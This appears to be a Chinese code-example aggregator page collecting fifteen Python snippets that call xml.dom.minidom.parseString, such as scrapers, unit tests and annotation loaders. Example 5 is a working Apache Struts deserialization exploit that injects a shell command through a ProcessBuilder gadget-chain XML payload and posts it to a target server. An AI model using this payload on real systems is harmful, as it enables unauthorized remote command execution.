本文整理汇总了Python中xml.dom.minidom.parseString方法的典型用法代码示例。如果您正苦于以下问题:Python minidom.parseString方法的具体用法?Python minidom.parseString怎么用?Python minidom.parseString使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类xml.dom.minidom
的用法示例。
在下文中一共展示了minidom.parseString方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: save
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def save(self, name, settings=None):
writer = GXXmlWriter()
objects = ET.Element("Objects")
for it in self:
node = ET.SubElement(objects, "GXDLMS" + GXDLMSConverter.objectTypeToString(it.objectType))
if it.shortName != 0:
ET.SubElement(node, "SN").text = str(it.shortName)
ET.SubElement(node, "LN").text = it.logicalName
if it.version != 0:
ET.SubElement(node, "Version").text = str(it.version)
if it.description:
ET.SubElement(node, "Description").text = it.description
if not settings or settings.values:
writer.objects = []
writer.objects.append(node)
it.save(writer)
str_ = minidom.parseString(ET.tostring(objects, encoding='utf-8', method='xml')).toprettyxml(indent=" ")
with open(name, "w") as f:
f.write(str_)
示例2: parser_list
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def parser_list(self, url):
if "album" in url:
_id = match1(url, 'http://www.xiami.com/album/(\d+)')
t = '1'
elif "collect" in url:
_id =match1(url, 'http://www.xiami.com/collect/(\d+)')
t = '3'
xml = get_content('http://www.xiami.com/song/playlist/id/{}/type/{}'.format(_id, t), charset = 'ignore')
doc = parseString(xml)
tracks = doc.getElementsByTagName("trackList")[0]
info_list = []
#ugly code TODO
n = 0
for t in tracks.getElementsByTagName('track'):
if not n % 2:
info = VideoInfo(self.name)
self.song_data = t
self.extract_song(info)
info_list.append(info)
n += 1
return info_list
示例3: prepare
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def prepare(self):
info = VideoInfo(self.name)
self.vid = match1(self.url, '\.pptv\.com/vod/(\d+)')
if not self.vid:
html = get_content(self.url)
self.vid = match1(html, 'webcfg\s*=\s*{"id":\s*(\d+)')
# API修改
# param = "type%3dppbox.launcher%26ahl_ver%3d1%26ahl_random%3d6c2b3072426c42253c754c4460624b76%26ahl_signa%3d8544ec938b8b6e4153320931d5079e7aadfbed5855a5ccc40c66d470338b7056%26userType%3d0%26o%3d0"
# xml = get_content('http://web-play.pptv.com/webplay3-0-{}.xml?version=4¶m={}&type=web.fpp&appplt=flp&appid=pptv.flashplayer.vod&appver=3.4.2.32'.format(self.vid,param))
xml = get_content('https://web-play.pptv.com/webplay3-0-{}.xml?zone=8&version=4&username=&ppi=302c3333&type=ppbox.launcher&pageUrl=http%3A%2F%2Fv.pptv.com&o=0&referrer=&kk=&scver=1&appplt=flp&appid=pptv.flashplayer.vod&appver=3.4.3.3&nddp=1'.format(self.vid))
dom = parseString(compact_bytes(xml, 'utf-8'))
info.title, m_items, m_streams, m_segs = parse_pptv_xml(dom)
xml_streams = merge_meta(m_items, m_streams, m_segs)
for stream_id in xml_streams:
stream_data = xml_streams[stream_id]
src = make_url(stream_data)
s = self.supported_stream_types[int(stream_id)]
info.stream_types.append(s)
info.streams[s] = { 'container': 'mp4', 'video_profile': stream_data['res'], 'size': int(stream_data['size']), 'src': src}
info.stream_types = sorted(info.stream_types, key = self.supported_stream_types.index)
info.stream_types.reverse()
return info
示例4: prepare
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def prepare(self):
info = VideoInfo(self.name)
if not self.vid:
self.vid= match1(self.url, '#([a-zA-Z0-9\-]+)', '/([a-zA-Z0-9\-]+).shtml')
if not self.vid:
html = get_content(self.url)
self.vid = match1(html, '"vid": "([^"]+)', 'vid: "([^"]+)')
xml = get_content('http://vxml.ifengimg.com/video_info_new/{}/{}/{}.xml'.format(self.vid[-2], self.vid[-2:], self.vid))
doc = parseString(xml.encode('utf-8'))
info.title = doc.getElementsByTagName('item')[0].getAttribute("Name")
videos = doc.getElementsByTagName('videos')
for v in videos[0].getElementsByTagName('video'):
if v.getAttribute("mediaType") == 'mp4':
_t = v.getAttribute("type")
_u = v.getAttribute("VideoPlayUrl")
stream_id = self.types_2_id[_t]
stream_profile = self.types_2_profile[_t]
info.stream_types.append(stream_id)
info.streams[stream_id] = {'container': 'mp4', 'video_profile': stream_profile, 'src' : [_u], 'size': 0}
info.stream_types = sorted(info.stream_types, key = self.ids.index)
return info
示例5: main
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def main(url, command):
#XML can be pretty finicky with special characters and escaping. Combine this with command execution with struts and its even more finicky.
filename = "."+random_string(20)+'.tmp'
print('[+] Encoding Command')
#So lets encode our user supplied command in base64 and write it to a string using the below struts vuln command with XML friendly characters.
#we will save it to a file, execute that file with /bin/bash and then remove the temporary file
encoded_command = 'echo '+base64.b64encode(command)+' | base64 -d | tee -a /tmp/'+filename+' ; /bin/bash /tmp/'+filename+' ; /bin/rm /tmp/'+filename
print('[+] Building XML object')
#Build our initial xml template
xml_exploit = parseString('<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>/bin/bash</string><string>-c</string><string>COMMANDWILLGOHERE</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>')
#Define some sample headers
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36','Content-Type': 'application/xml'}
#Search for the element that is going to be executed and grab those items
itemlist = xml_exploit.getElementsByTagName('string')
#Replace the templated with our base64 encoded command which will be decoded and written to a temporary file
print('[+] Placing command in XML object')
get_item_list(itemlist, encoded_command, "COMMANDWILLGOHERE")
print('[+] Converting Back to String')
#Convert the XML object back to a string
exploit = xml_exploit.toxml('utf8')
print('[+] Making Post Request with our payload')
#post our exploit XML code to the vulnerable struts server
request = requests.post(url, data=exploit, headers=header)
print('[+] Payload executed')
示例6: testGetEmptyNodeListFromElementsByTagNameNS
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def testGetEmptyNodeListFromElementsByTagNameNS(self):
doc = parseString('<doc/>')
self.get_empty_nodelist_from_elements_by_tagName_ns_helper(
doc, 'http://xml.python.org/namespaces/a', 'localname')
self.get_empty_nodelist_from_elements_by_tagName_ns_helper(
doc, '*', 'splat')
self.get_empty_nodelist_from_elements_by_tagName_ns_helper(
doc, 'http://xml.python.org/namespaces/a', '*')
doc = parseString('<doc xmlns="http://xml.python.org/splat"><e/></doc>')
self.get_empty_nodelist_from_elements_by_tagName_ns_helper(
doc, "http://xml.python.org/splat", "not-there")
self.get_empty_nodelist_from_elements_by_tagName_ns_helper(
doc, "*", "not-there")
self.get_empty_nodelist_from_elements_by_tagName_ns_helper(
doc, "http://somewhere.else.net/not-there", "e")
示例7: testNormalize
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def testNormalize(self):
doc = parseString("<doc/>")
root = doc.documentElement
root.appendChild(doc.createTextNode("first"))
root.appendChild(doc.createTextNode("second"))
self.confirm(len(root.childNodes) == 2
and root.childNodes.length == 2,
"testNormalize -- preparation")
doc.normalize()
self.confirm(len(root.childNodes) == 1
and root.childNodes.length == 1
and root.firstChild is root.lastChild
and root.firstChild.data == "firstsecond"
, "testNormalize -- result")
doc.unlink()
doc = parseString("<doc/>")
root = doc.documentElement
root.appendChild(doc.createTextNode(""))
doc.normalize()
self.confirm(len(root.childNodes) == 0
and root.childNodes.length == 0,
"testNormalize -- single empty node removed")
doc.unlink()
示例8: testNormalizeDeleteWithPrevSibling
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def testNormalizeDeleteWithPrevSibling(self):
doc = parseString("<doc/>")
root = doc.documentElement
root.appendChild(doc.createTextNode("first"))
root.appendChild(doc.createTextNode(""))
self.confirm(len(root.childNodes) == 2
and root.childNodes.length == 2,
"testNormalizeDeleteWithPrevSibling -- preparation")
doc.normalize()
self.confirm(len(root.childNodes) == 1
and root.childNodes.length == 1
and root.firstChild.data == "first"
and root.firstChild is root.lastChild
and root.firstChild.nextSibling is None
and root.firstChild.previousSibling is None
, "testNormalizeDeleteWithPrevSibling -- result")
doc.unlink()
示例9: testNormalizeDeleteWithNextSibling
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def testNormalizeDeleteWithNextSibling(self):
doc = parseString("<doc/>")
root = doc.documentElement
root.appendChild(doc.createTextNode(""))
root.appendChild(doc.createTextNode("second"))
self.confirm(len(root.childNodes) == 2
and root.childNodes.length == 2,
"testNormalizeDeleteWithNextSibling -- preparation")
doc.normalize()
self.confirm(len(root.childNodes) == 1
and root.childNodes.length == 1
and root.firstChild.data == "second"
and root.firstChild is root.lastChild
and root.firstChild.nextSibling is None
and root.firstChild.previousSibling is None
, "testNormalizeDeleteWithNextSibling -- result")
doc.unlink()
示例10: testNormalizeDeleteWithTwoNonTextSiblings
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def testNormalizeDeleteWithTwoNonTextSiblings(self):
doc = parseString("<doc/>")
root = doc.documentElement
root.appendChild(doc.createElement("i"))
root.appendChild(doc.createTextNode(""))
root.appendChild(doc.createElement("i"))
self.confirm(len(root.childNodes) == 3
and root.childNodes.length == 3,
"testNormalizeDeleteWithTwoSiblings -- preparation")
doc.normalize()
self.confirm(len(root.childNodes) == 2
and root.childNodes.length == 2
and root.firstChild is not root.lastChild
and root.firstChild.nextSibling is root.lastChild
and root.firstChild.previousSibling is None
and root.lastChild.previousSibling is root.firstChild
and root.lastChild.nextSibling is None
, "testNormalizeDeleteWithTwoSiblings -- result")
doc.unlink()
示例11: testNormalizeDeleteAndCombine
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def testNormalizeDeleteAndCombine(self):
doc = parseString("<doc/>")
root = doc.documentElement
root.appendChild(doc.createTextNode(""))
root.appendChild(doc.createTextNode("second"))
root.appendChild(doc.createTextNode(""))
root.appendChild(doc.createTextNode("fourth"))
root.appendChild(doc.createTextNode(""))
self.confirm(len(root.childNodes) == 5
and root.childNodes.length == 5,
"testNormalizeDeleteAndCombine -- preparation")
doc.normalize()
self.confirm(len(root.childNodes) == 1
and root.childNodes.length == 1
and root.firstChild is root.lastChild
and root.firstChild.data == "secondfourth"
and root.firstChild.previousSibling is None
and root.firstChild.nextSibling is None
, "testNormalizeDeleteAndCombine -- result")
doc.unlink()
示例12: parse_xform_instance
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def parse_xform_instance(xml_str):
"""
'xml_str' is a str object holding the XML of an XForm
instance. Return a python object representation of this XML file.
"""
xml_obj = minidom.parseString(xml_str)
root_node = xml_obj.documentElement
# go through the xml object creating a corresponding python object
# NOTE: THIS WILL DESTROY ANY DATA COLLECTED WITH REPEATABLE NODES
# THIS IS OKAY FOR OUR USE CASE, BUT OTHER USERS SHOULD BEWARE.
survey_data = dict(_path_value_pairs(root_node))
assert len(list(_all_attributes(root_node))) == 1, \
_(u"There should be exactly one attribute in this document.")
survey_data.update({
common_tags.XFORM_ID_STRING: root_node.getAttribute(u"id"),
common_tags.INSTANCE_DOC_NAME: root_node.nodeName,
})
return survey_data
示例13: test_xpath_from_xml_node
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def test_xpath_from_xml_node(self):
xml_str = '<?xml version=\'1.0\' ?><test_item_name_matches_repeat ' \
'id="repeat_child_name_matches_repeat">' \
'<formhub><uuid>c911d71ce1ac48478e5f8bac99addc4e</uuid>' \
'</formhub><gps><gps>-1.2625149 36.7924478 0.0 30.0</gps>' \
'<info>Yo</info></gps><gps>' \
'<gps>-1.2625072 36.7924328 0.0 30.0</gps>' \
'<info>What</info></gps></test_item_name_matches_repeat>'
clean_xml_str = xml_str.strip()
clean_xml_str = re.sub(ur">\s+<", u"><", clean_xml_str)
root_node = minidom.parseString(clean_xml_str).documentElement
# get the first top-level gps element
gps_node = root_node.firstChild.nextSibling
self.assertEqual(gps_node.nodeName, u'gps')
# get the info element within the gps element
info_node = gps_node.getElementsByTagName(u'info')[0]
# create an xpath that should look like gps/info
xpath = xpath_from_xml_node(info_node)
self.assertEqual(xpath, u'gps/info')
示例14: _load_imagenet_annotation
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def _load_imagenet_annotation(self, index):
"""
Load image and bounding boxes info from txt files of imagenet.
"""
filename = os.path.join(self._data_path, 'Annotations', self._image_set, index + '.xml')
# print 'Loading: {}'.format(filename)
def get_data_from_tag(node, tag):
return node.getElementsByTagName(tag)[0].childNodes[0].data
with open(filename) as f:
data = minidom.parseString(f.read())
objs = data.getElementsByTagName('object')
num_objs = len(objs)
boxes = np.zeros((num_objs, 4), dtype=np.uint16)
gt_classes = np.zeros((num_objs), dtype=np.int32)
overlaps = np.zeros((num_objs, self.num_classes), dtype=np.float32)
# Load object bounding boxes into a data frame.
for ix, obj in enumerate(objs):
x1 = float(get_data_from_tag(obj, 'xmin'))
y1 = float(get_data_from_tag(obj, 'ymin'))
x2 = float(get_data_from_tag(obj, 'xmax'))
y2 = float(get_data_from_tag(obj, 'ymax'))
cls = self._wnid_to_ind[
str(get_data_from_tag(obj, "name")).lower().strip()]
boxes[ix, :] = [x1, y1, x2, y2]
gt_classes[ix] = cls
overlaps[ix, cls] = 1.0
overlaps = scipy.sparse.csr_matrix(overlaps)
return {'boxes' : boxes,
'gt_classes': gt_classes,
'gt_overlaps' : overlaps,
'flipped' : False}
示例15: parse_modinput_configs
# 需要导入模块: from xml.dom import minidom [as 别名]
# 或者: from xml.dom.minidom import parseString [as 别名]
def parse_modinput_configs(config_str):
"""
@config_str: modinput XML configuration feed by splunkd
@return: meta_config and stanza_config
"""
import xml.dom.minidom as xdm
meta_configs = {
"server_host": None,
"server_uri": None,
"session_key": None,
"checkpoint_dir": None,
}
root = xdm.parseString(config_str)
doc = root.documentElement
for tag in meta_configs.keys():
nodes = doc.getElementsByTagName(tag)
if not nodes:
log.logger.error("Invalid config, missing %s section", tag)
raise Exception("Invalid config, missing %s section", tag)
if (nodes[0].firstChild and
nodes[0].firstChild.nodeType == nodes[0].TEXT_NODE):
meta_configs[tag] = nodes[0].firstChild.data
else:
log.logger.error("Invalid config, expect text ndoe")
raise Exception("Invalid config, expect text ndoe")
if doc.nodeName == "input":
configs = _parse_modinput_configs(doc, "configuration", "stanza")
else:
configs = _parse_modinput_configs(root, "items", "item")
return meta_configs, configs